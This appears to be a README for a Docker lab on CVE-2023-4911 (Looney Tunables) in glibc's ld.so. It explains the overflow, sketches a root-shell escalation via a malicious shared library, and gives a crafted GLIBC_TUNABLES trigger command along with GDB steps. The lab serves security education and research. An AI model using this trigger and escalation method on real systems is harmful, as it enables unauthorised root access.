
Docker-based CVE-2023-4911 lab for analyzing glibc ld.so buffer overflow and developing a local privilege escalation exploit with GDB debugging.
Docker-based practice environment for analyzing and developing exploits for the GNU C Library (glibc) dynamic loader buffer overflow vulnerability (Local Privilege Escalation).
| Item | Content |
|---|---|
| CVE Number | CVE-2023-4911 |
| Alias | Looney Tunables |
| Affected Software | GNU C Library (glibc) 2.34 ~ 2.38 |
| Vulnerable Version | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 or lower |
| Patched Version | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| Type | Buffer Overflow in ld.so |
| Impact | Local Privilege Escalation (normal user → root) |
| Discovered by | Qualys Security Research Team |
The glibc dynamic loader (ld.so) parses the GLIBC_TUNABLES environment variable when a program is executed.
When a SUID binary is run, __libc_enable_secure = 1 is set, and ld.so enters a code path that nullifies the environment variable.
During this process, a buffer overflow occurs due to incorrect length calculation for input in the format tunable1=tunable2=value.
Normal binary: __libc_enable_secure = 0 → nullify code not entered → no vulnerability
SUID binary: __libc_enable_secure = 1 → nullify code entered → buffer overflow occurs
Exploit Flow:
GLIBC_TUNABLES overflow
↓
Overwrite link_map pointer in ld.so BSS area
↓
Redirect library search path to evil_lib/ directory
↓
evil.so loaded → constructor automatically executed
↓
setuid(0) + execve("/bin/bash") → root shell acquired
This environment is designed to go beyond simple PoC execution, aiming to directly analyze the vulnerability's working principle and develop an exploit.
ld.so source code and the running binary can be analyzed togetherresearcher) to rootCVE-2023-4911/
├── Dockerfile # Vulnerable environment image definition (Multi-stage build)
├── run.sh # Docker build/run management script
├── check_environment.sh # Automatic environment validation at container startup
├── poc/
│ ├── exploit.py # Basic PoC — crash (SIGSEGV) verification
│ ├── exploit_lpe.py # LPE exploit — for completion after GDB analysis
│ └── evil_lib/
│ ├── evil.c # Malicious shared library that executes root shell
│ └── Makefile
└── test_targets/
├── test_suid.c # SUID test binary source
└── test_heap.c # Heap allocation test binary source
./run.sh build && ./run.sh run
When the container starts, you will be prompted for the sudo password.
Password: password
# Check for SIGSEGV
python3 /workspace/poc/exploit.py --check-only
# Direct trigger
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# Direct analysis inside container
gdb -q /workspace/test_targets/test_suid
# Remote debugging (gdbserver)
# Inside container
gdbserver :1234 /workspace/test_targets/test_suid
# Local host
gdb
(gdb) target remote localhost:1234
After analyzing OVERFLOW_OFFSET and TARGET_ADDR in GDB, update the values at the top of exploit_lpe.py and run it.
python3 /workspace/poc/exploit_lpe.py
# Vulnerable function location
/workspace/glibc-source/elf/dl-tunables.c
# Key functions
__tunables_init() # Entry point
parse_tunables() # Overflow occurrence point
tunables_strdup() # Buffer allocation
# Trace system calls with strace
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# Analyze __tunables_init with GDB
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
This environment is intended for educational and security research purposes only.
--privileged mode, so use it only in an isolated environment.| Command | Description |
|---|
./run.sh build | Build Docker image |
./run.sh run | Run container in interactive mode |
./run.sh analysis | Run analysis mode |
./run.sh test | Quick vulnerability check |
./run.sh clean | Clean up images and containers |
| Item | Content |
|---|
| Base image | ubuntu:jammy-20230916 (before patch) |
| glibc version | 2.35-0ubuntu3.3 (vulnerable) |
| ld.so version | 2.35-0ubuntu3.3 (vulnerable) |
| Analysis account | researcher / password |
| glibc source | /workspace/glibc-source (2.35) |
| Port | 1234 (gdbserver) |
| Container options | --privileged, --pid=host |